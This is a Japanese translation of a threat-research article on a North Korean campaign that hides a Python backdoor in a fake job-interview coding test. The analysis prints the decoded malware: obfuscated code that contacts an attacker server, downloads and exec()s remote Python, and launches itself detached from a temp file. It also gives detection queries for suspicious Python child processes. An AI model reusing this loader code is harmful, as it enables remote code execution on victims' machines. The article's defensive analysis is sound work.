Colson Wilhoit

行動規範:北朝鮮のPythonを燃料とする安全なネットワークへの侵入

このドキュメントは、北朝鮮によるPythonの戦略的使用と入念に作成されたソーシャルエンジニアリングを調査し、進化を続ける効果的なサイバー攻撃によって、安全性の高いネットワークをどのように侵害するのか明らかにします。

行動規範:北朝鮮のPythonによるセキュリティ保護されたネットワークへの侵入

前文

国家が支援するサイバー作戦の影の世界で、北朝鮮ほど注目と悪評を集めた脅威アクターはほとんどいません。 北朝鮮と関連のある脅威集団は、ソーシャルエンジニアリング戦術と戦術的能力を組み合わせて使用していることを一貫して示してきた。 彼らの武器庫の最前線には、予想外の武器、パイソンがあります。

この汎用性の高いプログラミング言語は、そのアクセシビリティとパワーで高く評価されており、ターゲットシステムへの初期アクセスを求める北朝鮮の工作員のためのツールとなっています。 これらの脅威アクターは、綿密に作成されたソーシャルエンジニアリングスキームとエレガントに偽装されたPythonコードの強力な組み合わせにより、世界で最も安全なネットワークの一部に侵入することに成功しています。

この出版物では、北朝鮮が初期アクセスにソーシャルエンジニアリングとPythonベースのルアーを使用していることを調査します。 Reversing Labs チームが VMConnect というキャンペーンのために 発表した研究 に基づいて、ごく最近の実例を探り、コードを分析して、これらの攻撃が非常に効果的な理由を調べます。 これらの手法を理解することで、国家が支援するサイバー脅威の進化する状況に光を当て、防御側がそれらに対抗するための知識を身に付けさせることを目指しています。

重要なポイント

  • 北朝鮮のソーシャルエンジニアリング戦術の洗練さには、多くの場合、長期的なペルソナ開発とターゲットを絞った物語が含まれます。
  • 難読化の容易さ、広範なライブラリサポート、および正当なシステムアクティビティとブレンドする能力のためのPythonの使用。
  • これらの魅力は、北朝鮮の技術が進化し続けていることの証拠であり、サイバー防衛戦略における継続的な警戒と適応の必要性を浮き彫りにしています。
  • このキャンペーンのPythonスクリプトには、システムコマンドの実行とローカルファイルの書き込みと実行を可能にするモジュールが含まれています

RookeryCapital_PythonTest.zip

このサンプルは、"Capital One" 就職面接の Python コーディング チャレンジを装って配布されています。 これには、表面上は無害に見える既知のPythonモジュールが含まれています。 このモジュールには、標準のクリップボード管理機能が含まれていますが、データを盗み出したり任意のコマンドを実行したりできる難読化されたコードも格納されています。

攻撃者は、Base64やROT13などのエンコード技術を使用して、危険な機能をカモフラージュし、人間のレビュー担当者と自動セキュリティスキャンの両方による検出を回避しました。 このコードはリモートサーバーにアクセスし、クリップボード操作を装ってコマンドをダウンロードして実行します。 これは、悪意のある機能を標準コードで簡単に隠すことができることを示す完璧な例です。

このPythonアプリケーションを1行ずつ分析し、次のことを明らかにします。

  • 悪意のあるサーバーへの接続を確立します
  • リモートコード実行(RCE)を介して隠しコマンドを実行します
  • 一般的な難読化技術を使用してレーダーの下を飛行します
  • 永続的な再試行メカニズムを組み込んで、通信を確実に成功させます

PasswordManager.py

この「Pythonチャレンジ」は、「PasswordManager」というPythonアプリケーションを含む .zip ファイルを介して提供されます。 このアプリケーションは、主にメインスクリプトである PasswordManager.pyと、 PyperclipPyrebaseの2つのPythonモジュールで構成されています。

最初に README.md ファイルを調べると、これがある種のインタビューの課題または評価を意図していることは明らかですが、すぐに私たちの興味をそそったのは次の行でした。

これは興味深いことで、ユーザーが特定の機能を中断したり目立ったりする可能性のある変更を加える前に、アプリケーションが実行されるようにしたかったのです。

メインの PasswordManager.py ファイルは、基本的なPythonパスワードマネージャーアプリケーションのように見えます。 もちろん、上で述べたように、アプリケーションは2つのサードパーティモジュール(PyperclipPyrebase)をこのメインスクリプトにインポートします。

Pyperclip module

Pyperclip モジュールには、__init__.py__main__.pyの 2 つのファイルがあります。

Pythonでは、モジュールは多くの場合、複数のファイルで構成され、重要なファイルは __init__.py__main__.pyの2つです。 __init__.py ファイルは Python パッケージを初期化してインポート時に機能させ、__main__.py ファイルはモジュールをスタンドアロンプログラムとして実行できるようにします。

init.py

__init__.py は、インポートされる最初のモジュールであり、主にさまざまなプラットフォーム(Windows、macOS、Linuxなど)でのクリップボード操作を容易にします。 このコードの大部分は、プラットフォーム (Windows、Linux、macOS) を検出し、ネイティブ ユーティリティ (macOS の場合は pbcopy 、Linux の場合は xclip ) または Python ライブラリ (gtk、PyQt4/PyQt5 など) に依存して、適切なクリップボード処理関数 (コピー、貼り付け) を提供するように設計されています。

インポートにより、 base64codecssubprocesstempfileなどのライブラリから、興味深い機能や疑わしい機能が明らかになります。 base64モジュールは、機密情報を隠したり難読化したりするために使用できるエンコードまたはデコード機能を提供します。テキストのエンコードまたはデコードによく使用される別のモジュールである codecsと組み合わせると(この場合はROT13暗号を使用)、スクリプトがデータを操作して検出を回避していることが明らかになります。

subprocessモジュールの存在は特に懸念されます。このモジュールを使用すると、スクリプトはシステムコマンドを実行でき、マシン上で任意のコードを実行するための扉が開かれます。 このモジュールは、外部スクリプトを実行したり、プロセスを起動したり、悪意のあるバイナリをインストールしたりできます。

tempfile moduleが含まれていることも注目に値します。このモジュールは、マルウェアがその痕跡を隠すために使用する一般的な手法である、書き込みおよび実行可能な一時ファイルを作成します。 このモジュールは、スクリプトがコンテンツをディスクに書き込み、一時ディレクトリ内で実行している可能性があることを示唆しています。

import contextlib
import ctypes
import os
import platform
import subprocess
import sys
import time
import warnings
import requests
import datetime
import platform
import codecs
import base64
import tempfile
import subprocess
import os

init.py インポート

スクリプトを分析すると、変数 req_self に割り当てられた大きな base64 でエンコードされたブロブがすぐに目立ちます。

req_self = "aW1wb3J0IHN0….Y29udGludWUNCg=="

この Base64 でエンコードされた文字列をデコードすると、非常に興味深いコードを含む、まったく新しい自己完結型の Python スクリプトが明らかになります。

難読化されたPythonスクリプト

このスクリプトは、いくつかの標準ライブラリ( requestsrandomplatformなど)をインポートし、ランダムなデータの生成、オペレーティングシステムとの対話、文字列のエンコード/デコード、およびネットワークリクエストの作成を可能にします。

import string
import random
import requests
import platform
from time import sleep
import base64
import os
import codecs

エンコードされた Python スクリプトのインポート

このスクリプトには、 corand_nという 2 つの関数が含まれています。

co 関数はヘルパー関数として動作します。この関数は、現在のオペレーティングシステム(osn)をチェックします。 ROT13 エンコーディングの codecs.decode 関数を使用して、文字列 Jvaqbjfをデコードし、 Windowsになります。 オペレーティング システムが Windows の場合は、 0;それ以外の場合は、 1.

def co(osn):
  if osn == codecs.decode('Jvaqbjf', 'rot13'):
      return 0
  else:
      return 1

co エンコードされた Python スクリプト内の関数

ROT13のデコードは、macOSまたはLinux CLIで、 またはROT13 CyberChefレシピを使用して簡単に行うことができます。

$ echo "Jvaqbjf" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
Windows

rand_n 関数は、文字列 123456789から 8 桁の疑似乱数を生成します。これは、リモートサーバーとの今後の通信で識別子(uid)として使用される可能性があります。

def rand_n():
  _LENGTH = 8
  str_pool = "123456789"
  result = ""
  for i in range(_LENGTH):
      result += random.choice(str_pool)
  return result

rand_n エンコードされた Python スクリプト内の関数

関数の宣言に続いて、スクリプトは、使用するハードコーディングされた値を持つ一連の変数を定義します。

uid = rand_n()
f_run = ""
oi = platform.system()
url = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')
headers = {"Content-Type": "application/json; charset=utf-8"}
data = codecs.decode('Nznmba.pbz', 'rot13') + uid + "pfrr" + str(co(oi))

エンコードされた Python スクリプト変数

  • uid: を使用して生成されたランダムな識別子 rand_n()
  • oi: オペレーティング システム プラットフォーム
  • url: ROT13 を使用してデコードした後、これは悪意のあるサーバーの URL に解決されます (https://akamaitechnologies[.]オンライン)。 脅威アクターは、URLをエンコードし、既知のCDNプロバイダーである一見正当なサービス(Akamai)に偽装することで、明らかに検出を回避しようとしています。
  • data: これは、サーバーに送信されるデータ ペイロードです。 これには、デコードされた文字列 (Amazon[.]com)、ランダムな uid、および OS が Windows であるかどうかを確認する co(oi) の結果が含まれます。

スクリプトの最後の部分は、メインの while ループです。

while True:
  try:
      response = requests.post(url, headers=headers, data=data)
      if response.status_code != 200:
          sleep(60)
          continue
      else:
          res_str = response.text
          if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) > 15:
              res = response.text
              borg = res[10:]
              dec_res = base64.b64decode(borg).decode('utf-8')

              globals()['pu_1'] = uid
              globals()['pu_2'] = url
              exec(compile(dec_res, '', 'exec'), globals())
              sleep(1)
              break
          else:
              sleep(20)
              pass

  except:
      sleep(60)
      continue

エンコードされたPythonスクリプトのメインwhileループ

最初の try ブロックは、ヘッダーとデータを含む HTTP POST リクエストを悪意のあるサーバー (url) に送信します。 サーバーが 200 OK 以外のステータス コードで応答した場合、スクリプトは 60 秒間待機して再試行します。

それ以外の場合、応答がデコードされた文字列 'Google.com' で始まる場合 応答の長さが 15 より大きい場合は、応答の base64 でエンコードされた部分が抽出されます。 次に、この部分をデコードし、 exec(compile(dec_res, '', 'exec'), globals())を使用してデコードされたスクリプトを実行します。 これにより、攻撃者は任意のPythonコードを送信して、被害者のマシン上で実行することができます。

ループの終わりに向かって、ランダムな uid とリモート サーバーとの通信に使用される URL を使用してグローバル変数を設定します。 これは、後でダウンロードしたペイロードを実行するときに使用されます。

エンコードされた Python スクリプトの目的を理解したところで、 __inity__.py スクリプトに戻り、base64 でエンコードされたセクションを実行する関数を分解してみましょう。

イニティ.py

__inity__.pyスクリプトに戻ると、req_self変数への他の参照を探して、そのエンコードされたPythonスクリプトでスクリプトが何をするかを確認できます。cert_accとして定義された関数に 1 つの参照が配置されていることがわかります。

def cert_acc():
  ct_type = platform.system()
  l_p = tempfile.gettempdir()

  if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

  request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()
  try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass
cert_acc()
ct_type = platform.system()

この変数は、 platform.system() 関数を使用して、現在のオペレーティングシステムのタイプ(Windows、Linux、macOSの場合はDarwinなど)を取得します。 値は ct_type 変数に格納されます。

l_p = tempfile.gettempdir()

この変数は tempfile.gettempdir() functionを呼び出し、システムの一時ディレクトリへのパスを返します。 このディレクトリは、通常、システムまたはプログラムが作成し、再起動時に削除する一時ファイルを格納するために使用されます。 値は l_pに割り当てられます。

if-else ブロックは、ROT13 を使用したコーデック ライブラリのデコード機能を利用して、文字列 Jvaqbjf(Windowsに変換されます) をデコードします。これにより、システムタイプがWindowsであるかどうかがチェックされます。 システムが Windows の場合、コードは ROT13 でデコードされた文字列 (デコード後\rebase.tmp \eronfr.gzcであることが判明) を一時ディレクトリ パス l_pに追加します。次に、デコードされた push_opr 変数 (ROT13 も使用) とパスを組み合わせるコマンド header_opsを構築します。

システムがWindowsでない場合は、Unixライクなファイルパス /eronfr.gzc (デコード後の/rebase.tmp )を追加し、同様に push_opsを使用してコマンドを構築します。 コードのこの部分は、オペレーティング システムによって異なるペイロードまたはコマンドを実行するように設計されています。

if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

次のいくつかのステートメントは、 request_で始まる、すでに分析した Base64 でエンコードされた Python スクリプトを disk in the temporary directory. This code opens a new file in the temporary directory (l_p), which was previously set depending on the system type. The variable req_self' (Base64 でエンコードされた文字列) を元の形式にデコードするために役立ちます。 デコードされたコンテンツがファイルに書き込まれ、ファイルが閉じられます。

request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()

関数の最終的な try ブロックは、エンコードされたPythonスクリプトの実行を容易にします。

システムの種類が Windows の場合、コードは ( header_opsで構築) ファイル ( subprocess.Popen functionを使用して) を実行しようとします。 DETACHED_PROCESSフラグにより、プロセスが親プロセスから独立して実行されるため、追跡が困難になります。

システムがWindowsでない場合は、Unixライクなシステム(Linux / macOS)でより一般的な別の実行方法(shell=Truesubprocess.Popen)を使用してファイルを実行します。この preexec_fn=os.setpgrp により、プロセスは終端割り込みの影響を受けなくなり、バックグラウンドで実行できます。

try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass

cert_acc関数は、難読化されたPythonスクリプトを実行し、cert_acc関数内で実行するコマンドを取得します。

Pyperclipパッケージ内のスクリプトは、ROT13 や Base64 エンコーディングなどの難読化手法を使用してその真の意図を隠すなど、悪意のある動作の明確な兆候を示しています。オペレーティングシステムを識別し、それに応じてそのアクションを適応させ、ディスクに書き込み、システムの一時ディレクトリで難読化されたPythonスクリプトを実行します。 このスクリプトは、リモートサーバーとの通信を確立し、リモートコード実行(RCE)を可能にし、攻撃者がさらにコマンドを送信できるようにします。 この慎重に隠されたプロセスにより、スクリプトはステルスに実行され、感染したマシンに対する効果的なC2(コマンドアンドコントロール)を維持しながら検出を回避できます。

キャンペーンの交差点

このサンプルを見つけたとき、そのコード実装と、実際に観察された以前のキャンペーンのルアーに一致する追加のサンプルにも出くわしました。

この魅力は、就職の面接を装って行われるPythonコーディングの課題を装っています。 そのPythonコードの実装は、上記で分析したコードと完全に一致し、説明とファイル名に基づいて、Mandiantが「CovertCatch」と表現したルアーと一致します。

次のルアーは前のルアーとは異なりますが、以前に見て書いたPythonコードの実装と一致します。 昨年、私たちは暗号通貨の開発者とエンジニアを標的とした「KandyKorn」として知られるマルウェアを明らかにしました。

検出、ハンティング、および軽減戦略

この種の難読化された悪意のあるコードとその動作を検出して軽減するには、プロアクティブなセキュリティ対策、監視、およびユーザーの認識を組み合わせる必要があります。

これらのおとりや初期アクセスキャンペーンに対する最善の緩和戦略は、北朝鮮のような脅威アクターがコード実行のために採用する広範で標的を絞った方法についてユーザーを教育することです。 これらのキャンペーンに関する知識とそれらを認識できること、特に「採用担当者」、「開発者フォーラム」、「Github」などからのこのような第三者アプリケーションに関しては、実行前に適切なコード分析に重点を置くことが相まって、これらの攻撃に対する強力な防御基盤を提供します。

特にこのサンプルに関しては、コード実行メカニズムの動作と、そのアクティビティに関連する潜在的なユースケースに関して記述できるいくつかの異なる検出があります。 これらのクエリはmacOS固有ですが、Windowsでも同じアクティビティを検出するように変更することができます。

[検出]Pythonサブプロセスシェル一時ファイルの実行とリモートネットワーク接続

sequence by process.parent.entity_id with maxspan=3s
[process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("sh", "zsh", "bash") and process.args == "-c" and process.args : "python*"]
[network where event.type == "start"]

このルールは、 __init__.py サンプルが難読化された Python スクリプトをディスクに書き込み、 subprocess.Popen メソッドを使用してシェル変数を True に設定し、リモート サーバーに接続してコマンドを取得して実行する Python スクリプトを実行するときに示される特定の動作を探します。

[ハント]一時ディレクトリでのPython実行可能ファイルの作成

file where event.type == "modification" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*")
 and (process.name : "python*" or Effective_process.name : "python*") and file.path : ("/private/tmp/*", "/tmp/*")

脅威アクターがこの機能を使用して、スクリプトですでに指定されている一時ディレクトリ内に実行可能ペイロードをダウンロードしようとすると、このルールを使用して、Python経由で一時ディレクトリに実行可能ファイルが作成されないようにすることができます。

[ハント]Pythonによるインタラクティブなシェル実行

process where host.os.type == "macos" and event.type == "start" and event.action == "exec" 
and process.parent.name : "python*" and process.name : ("sh", "zsh", "bash")
 and process.args == "-i" and process.args_count == 2

脅威アクターは、実行機能を使用して、ターゲットシステム上でインタラクティブシェルを開き、エクスプロイト後のアクションを実行する可能性があります。 私たちは、国家のアクターがこのようなインタラクティブなシェルを使用するのを見てきました。 このルールを使用して、Pythonを介してこのインタラクティブシェルの作成を探すことができます。

[ハント]疑わしい Python 子プロセスの実行

process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("screencapture", "security", "csrutil", "dscl", "mdfind", "nscurl", "sqlite3", "tclsh", "xattr")

また、脅威アクターは、このコード実行機能を使用して、エクスプロイト後のさまざまな目標やアクションのためにシステムバイナリを直接実行することもできます。 このルールは、特に Python を介して、一般的に使用されない一部のローカル システム ツールの直接実行を探します。

結論と今後の動向

この分析を通じて検討してきたように、朝鮮民主主義人民共和国(DPRK)は、国家が支援するサイバー作戦において手強い勢力として台頭しています。 ソーシャルエンジニアリングとPythonベースのルアーを組み合わせた彼らのアプローチは、セキュリティが広く成熟している組織で成功していることが証明されています。

彼らが初期アクセス操作にPythonを使用していることは、サイバー脅威の進化する性質の証です。 この汎用性が高く、広く使用されているプログラミング言語を活用することで、脅威アクターは、開発のシンプルさと難読化の複雑さの両方を提供する強力なツールを見つけました。 Pythonのこの二重性は、サイバーセキュリティの防御者にとって大きな課題であることが証明されています。

この最近のサンプルを深く掘り下げることで、北朝鮮の脅威アクターの現在の戦術、技術、手順(TTP)に関する貴重な洞察が得られました。 このケーススタディでは、ソーシャルエンジニアリングとカスタマイズされたPythonスクリプトが、非常に効果的な初期アクセスベクトルとして連携して機能する方法を例示しています。

国家が支援するサイバー作戦が進むにつれ、北朝鮮の手法を研究することで得られる知見はますます価値を増している。 サイバーセキュリティの専門家は、ソーシャルエンジニアリングと高度なPythonベースのツールという二重の脅威に常に注意を払う必要があります。 これらの脅威から身を守るには、堅牢な技術制御、ソーシャルエンジニアリング戦術に関する包括的なスタッフトレーニング、疑わしいPythonアクティビティの特定に焦点を当てた高度な脅威検出機能など、多面的なアプローチが必要です。

今後、サイバーセキュリティコミュニティ内でのコラボレーションを促進し、これらの高度な脅威に対抗するための洞察と戦略を共有することが重要です。 私たちは、集団的な警戒と適応的な防衛メカニズムを通じて、北朝鮮のような国家が支援するアクターに対するこの進行中のサイバーチェスゲームで優位に立ち続けることを望んでいます。

各種資料

この記事を共有する